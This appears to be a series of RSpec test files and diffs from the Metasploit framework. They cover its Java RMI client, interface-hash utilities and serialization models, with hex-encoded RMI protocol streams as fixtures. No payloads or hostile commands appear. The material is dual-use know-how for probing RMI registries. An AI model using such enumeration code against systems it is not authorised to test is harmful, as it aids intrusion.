"\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" +
"\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" +
"\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" +
"\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" +
"\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" +
"\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" +
"\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" +
"\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" +
"\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" +
"\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" +
"\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" +
"\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" +
"\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" +
"\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" +
"\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" +
"\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" +
"\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" +
"\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" +
"\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" +
"\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" +
"\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" +
"\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" +
"\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" +
"\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" +
"\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" +
"\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" +
"\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" +
"\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" +
"\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" +
"\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
"\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" +
"\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" +
"\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" +
"\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" +
"\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" +
"\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" +
"\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" +
"\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78"
end
let(:name) do
'jmxrmi'
end
let(:interface_class) do
'javax.management.remote.rmi.RMIServerImpl_Stub'
end
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:io) { StringIO.new('', 'w+b') }
describe "#send_registry_list" do
context "when there aren't names registered" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(list_empty_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns empty array" do
expect(mod.send_registry_list(sock: io)).to eq([])
end
end
context "when there are names registered" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(list_with_names_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns the list of registered names" do
expect(mod.send_registry_list(sock: io)).to eq([name])
end
end
end
describe "#send_registry_lookup" do
context "when there isn't an interface bound" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(lookup_exception)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "raises an Rex::Proto::Rmi::Exception" do
expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception)
end
end
context "when there is an interface bound" do
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.seek(0)
io.write(lookup_response)
io.seek(0)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
it "returns the reference information" do
expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class)
end
end
end
describe "#registry_interface_hash" do
it "calculates the hash for the java/rmi/registry/RegistryImpl_Stub correctly" do
expect(mod.registry_interface_hash).to eq(4905912898345647071)
end
end
end

View File

@ -5,17 +5,6 @@ require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
class RmiStringIO < StringIO
def put(data)
write(data)
end
def get_once(length = -1, timeout = 10)
read
end
end
describe Msf::Java::Rmi::Client do
subject(:mod) do
mod = ::Msf::Exploit.new
@ -24,11 +13,11 @@ describe Msf::Java::Rmi::Client do
mod
end
let(:io) { RmiStringIO.new('', 'w+b') }
let(:io) { StringIO.new('', 'w+b') }
let(:protocol_not_supported) { "\x4f" }
let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) }
let(:protocol_not_supported_io) { StringIO.new(protocol_not_supported) }
let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" }
let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) }
let(:protocol_ack_io) { StringIO.new(protocol_ack) }
let(:return_data) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
@ -49,7 +38,17 @@ describe Msf::Java::Rmi::Client do
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
end
let(:return_io) { RmiStringIO.new(return_data) }
let(:return_io) { StringIO.new(return_data) }
before(:each) do
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout|
io.read
end
end
describe "#send_header" do
it "returns the number of bytes sent" do
@ -59,7 +58,7 @@ describe Msf::Java::Rmi::Client do
describe "#send_call" do
it "returns the number of bytes sent" do
expect(mod.send_call(sock: io)).to eq(5)
expect(mod.send_call(sock: io)).to eq(41)
end
end
@ -86,7 +85,7 @@ describe Msf::Java::Rmi::Client do
describe "#recv_return" do
context "when end point returns a value to the call" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream)
expect(mod.recv_return(sock: return_io)).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
end
end

View File

@ -0,0 +1,154 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'msf/java/rmi/util'
describe Msf::Java::Rmi::Util do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Util
mod.send(:initialize)
mod
end
let(:example_interface) do
[
{name: 'sayHello', descriptor: '()Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']},
{name: 'sayHelloTwo', descriptor: '(Ljava/lang/String;)Ljava/lang/String;', exceptions: ['java.rmi.RemoteException']}
]
end
let(:example_hash) do
0x3e664fcbd9e953bb
end
let(:method_signature) do
'sayHello()Ljava/lang/String;'
end
let(:method_hash) do
0x53e0822d3e3724df
end
let(:dgc_interface) do
[
{name: 'clean', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', exceptions: ['java.rmi.RemoteException']},
{name: 'dirty', descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', exceptions: ['java.rmi.RemoteException']}
]
end
let(:dgc_hash) do
0xf6b6898d8bf28643
end
let(:empty) { '' }
let(:empty_io) { StringIO.new(empty) }
let(:string) { "\x00\x04\x41\x42\x43\x44" }
let(:string_io) { StringIO.new(string) }
let(:int) { "\x00\x00\x00\x04" }
let(:int_io) { StringIO.new(int) }
let(:contents_unicast_ref) do
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
"\xdf\xd4\x57\x7e\x80\x01\x01"
end
let(:unicast_ref_io) do
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
end
let(:ref_address) { '172.16.158.131' }
let(:ref_port) { 3057 }
let(:ref_object_number) { 6085704671348084379 }
let(:unicast_ref) do
{
:address => '172.16.158.131',
:object_number => 6085704671348084379,
:port => 3057
}
end
describe "#calculate_interface_hash" do
context "when an example interface is provided" do
it "generates a correct interface hash" do
expect(mod.calculate_interface_hash(example_interface)).to eq(example_hash)
end
end
context "when a DGC interface is provided" do
it "generates a correct interface hash" do
expect(mod.calculate_interface_hash(dgc_interface)).to eq(dgc_hash)
end
end
end
describe "#calculate_method_hash" do
it "generates a correct interface hash" do
expect(mod.calculate_method_hash(method_signature)).to eq(method_hash)
end
end
describe "#extract_string" do
context "when io contains a valid string" do
it "returns the string" do
expect(mod.extract_string(string_io)).to eq('ABCD')
end
end
context "when io doesn't contain a valid string" do
it "returns nil" do
expect(mod.extract_string(empty_io)).to be_nil
end
end
end
describe "#extract_int" do
context "when io contains a valid int" do
it "returns the string" do
expect(mod.extract_int(int_io)).to eq(4)
end
end
context "when io doesn't contain a valid int" do
it "returns nil" do
expect(mod.extract_int(empty_io)).to be_nil
end
end
end
describe "#extract_reference" do
context "when empty io" do
it "returns nil" do
expect(mod.extract_reference(empty_io)). to be_nil
end
end
context "when valid io" do
it "returns a hash" do
expect(mod.extract_reference(unicast_ref_io)).to be_a(Hash)
end
it "returns a hash containing the address where the remote interface listens" do
expect(mod.extract_reference(unicast_ref_io)[:address]).to eq(ref_address)
end
it "returns a hash containing the port where the remote interface listens" do
expect(mod.extract_reference(unicast_ref_io)[:port]).to eq(ref_port)
end
it "returns a hash containing the object number of the remote interface" do
expect(mod.extract_reference(unicast_ref_io)[:object_number]).to eq(ref_object_number)
end
it "returns a hash containing the extracted unique identifier" do
expect(mod.extract_reference(unicast_ref_io)[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
end
end
end
end

View File

@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(::RuntimeError)
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockDataLong do
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError)
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end

View File

@ -48,7 +48,7 @@ describe Rex::Java::Serialization::Model::BlockData do
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(::RuntimeError)
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::BlockData do
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError)
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end

View File

@ -34,7 +34,7 @@ describe Rex::Java::Serialization::Model::Field do
describe "#encode" do
context "when empty field" do
it { expect { field.encode }.to raise_error(::RuntimeError) }
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
end
context "when primitive field" do

View File

@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::LongUtf do
describe "#decode" do
context "when stream contains empty string" do
it "raises RuntimeError" do
expect { long_utf.decode(empty_io) }.to raise_error(::RuntimeError)
it "raises Rex::Java::Serialization::DecodeError" do
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::LongUtf do
context "when stream contains incomplete long_utf" do
it "returns nil" do
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError)
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end

View File

@ -0,0 +1,115 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
describe Rex::Java::Serialization::Model::ProxyClassDesc do
subject(:proxy_class_desc) do
described_class.new
end
let(:sample) do
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
end
let(:sample_io) { StringIO.new(sample) }
describe ".new" do
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "initializes interfaces with empty Array" do
expect(proxy_class_desc.interfaces).to be_empty
end
it "initializes class_annotation with nil" do
expect(proxy_class_desc.class_annotation).to be_nil
end
it "initializes super_class with nil" do
expect(proxy_class_desc.super_class).to be_nil
end
end
describe "#decode" do
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
end
it "deserializes interfaces" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces.length).to eq(1)
end
it "deserializes interfaces contents correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
end
it "deserializes class annotation correctly" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
end
it "deserializes class annotation contents" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
end
it "deserializes super_class" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
end
it "deserializes super class description" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
end
end
describe "#encode" do
it "serializes a ProxyClassDesc" do
field = Rex::Java::Serialization::Model::Field.new
field.type = 'object'
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
super_class_desc_new.serial_version = 0xe127da20cc1043cb
super_class_desc_new.flags = 2
super_class_desc_new.fields << field
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
super_class_desc.description = super_class_desc_new
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
proxy_class_desc.interfaces << interface
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
proxy_class_desc.super_class = super_class_desc
expect(proxy_class_desc.encode).to eq(sample)
end
end
describe "#to_s" do
it "prints a sample NewClassDesc stream" do
proxy_class_desc.decode(sample_io)
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
end
end
end

View File

@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::Utf do
describe "#decode" do
context "when stream contains empty string" do
it "raises RuntimeError" do
expect { utf.decode(empty_io) }.to raise_error(::RuntimeError)
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
@ -69,8 +69,8 @@ describe Rex::Java::Serialization::Model::Utf do
end
context "when stream contains incomplete utf" do
it "raises RuntimeError" do
expect { utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError)
it "raises Rex::Java::Serialization::DecodeError" do
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end

View File

@ -0,0 +1,100 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
require 'rex/java'
describe Rex::Proto::Rmi::Model::CallData do
subject(:call_data) do
described_class.new
end
let(:call_data_stream) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" +
"\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" +
"\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" +
"\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" +
"\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" +
"\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" +
"\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" +
"\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" +
"\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" +
"\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" +
"\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" +
"\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" +
"\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" +
"\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" +
"\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" +
"\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" +
"\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" +
"\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" +
"\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" +
"\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" +
"\x62\xc1\xc0"
end
let(:call_data_stream_io) { StringIO.new(call_data_stream) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::CallData decoded" do
expect(call_data.decode(call_data_stream_io)).to eq(call_data)
end
it "decodes code correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.object_number).to eq(2)
end
it "decodes the uid correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
end
it "decodes the operation correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.operation).to eq(1)
end
it "decodes the hash correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.hash).to eq(-669196253586618813)
end
it "decodes the arguments correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.arguments).to be_an(Array)
end
it "decodes all the arguments" do
call_data.decode(call_data_stream_io)
expect(call_data.arguments.length).to eq(3)
end
it "decodes the first argument as an array" do
call_data.decode(call_data_stream_io)
expect(call_data.arguments[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
end
it "decodes the type of the first argument array correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.arguments[0].array_description.description.class_name.contents).to eq('[Ljava.rmi.server.ObjID;')
end
end
describe "#encode" do
it "re-encodes a CallData stream correctly" do
call_data.decode(call_data_stream_io)
expect(call_data.encode).to eq(call_data_stream)
end
end
end

View File

@ -57,7 +57,7 @@ describe Rex::Proto::Rmi::Model::Call do
it "decodes the call data correctly" do
call.decode(call_message_io)
expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream)
expect(call.call_data).to be_a(Rex::Proto::Rmi::Model::CallData)
end
end

View File

@ -46,7 +46,7 @@ describe Rex::Proto::Rmi::Model::ReturnData do
it "decodes the return data correctly" do
return_data.decode(return_stream_io)
expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream)
expect(return_data.return_value).to be_a(Rex::Proto::Rmi::Model::ReturnValue)
end
end

View File

@ -0,0 +1,88 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
require 'rex/java'
describe Rex::Proto::Rmi::Model::ReturnValue do
subject(:return_value) do
described_class.new
end
let(:return_value_stream) do
"\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" +
"\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" +
"\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" +
"\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" +
"\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" +
"\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" +
"\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" +
"\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" +
"\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" +
"\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" +
"\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" +
"\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" +
"\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
"\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" +
"\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" +
"\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" +
"\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0"
end
let(:return_value_stream_io) { StringIO.new(return_value_stream) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::ReturnValue decoded" do
expect(return_value.decode(return_value_stream_io)).to eq(return_value)
end
it "decodes code correctly" do
return_value.decode(return_value_stream_io)
expect(return_value.code).to eq(Rex::Proto::Rmi::Model::RETURN_VALUE)
end
it "decodes the uid correctly" do
return_value.decode(return_value_stream_io)
expect(return_value.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier)
end
it "decodes the value correctly" do
return_value.decode(return_value_stream_io)
expect(return_value.value).to be_an(Array)
end
it "decodes the value as an object" do
return_value.decode(return_value_stream_io)
expect(return_value.value[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
end
it "decodes the type of object in the value correctly" do
return_value.decode(return_value_stream_io)
expect(return_value.value[0].class_desc.description.class_name.contents).to eq('java.rmi.dgc.Lease')
end
end
describe "#encode" do
it "re-encodes a ReturnData stream correctly" do
return_value.decode(return_value_stream_io)
expect(return_value.encode).to eq(return_value_stream)
end
end
describe "#is_exception?" do
it "return false unless the return value is an exception" do
return_value.decode(return_value_stream_io)
expect(return_value.is_exception?).to be_falsey
end
end
describe "#get_class_name" do
it "returns the class name of the object in the return value" do
return_value.decode(return_value_stream_io)
expect(return_value.get_class_name).to eq('java.rmi.dgc.Lease')
end
end
end

View File

@ -0,0 +1,47 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/proto/rmi'
require 'rex/java'
describe Rex::Proto::Rmi::Model::UniqueIdentifier do
subject(:uid) do
described_class.new
end
let(:uid_raw) do
"\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x15"
end
let(:uid_raw_io) { StringIO.new(uid_raw) }
describe "#decode" do
it "returns the Rex::Proto::Rmi::Model::UniqueIdentifier decoded" do
expect(uid.decode(uid_raw_io)).to eq(uid)
end
it "decodes number correctly" do
uid.decode(uid_raw_io)
expect(uid.number).to eq(-766517433)
end
it "decodes time correctly" do
uid.decode(uid_raw_io)
expect(uid.time).to eq(1416095896184)
end
it "decodes count correctly" do
uid.decode(uid_raw_io)
expect(uid.count).to eq(-32747)
end
end
describe "#encode" do
it "re-encodes a ReturnData stream correctly" do
uid.decode(uid_raw_io)
expect(uid.encode).to eq(uid_raw)
end
end
end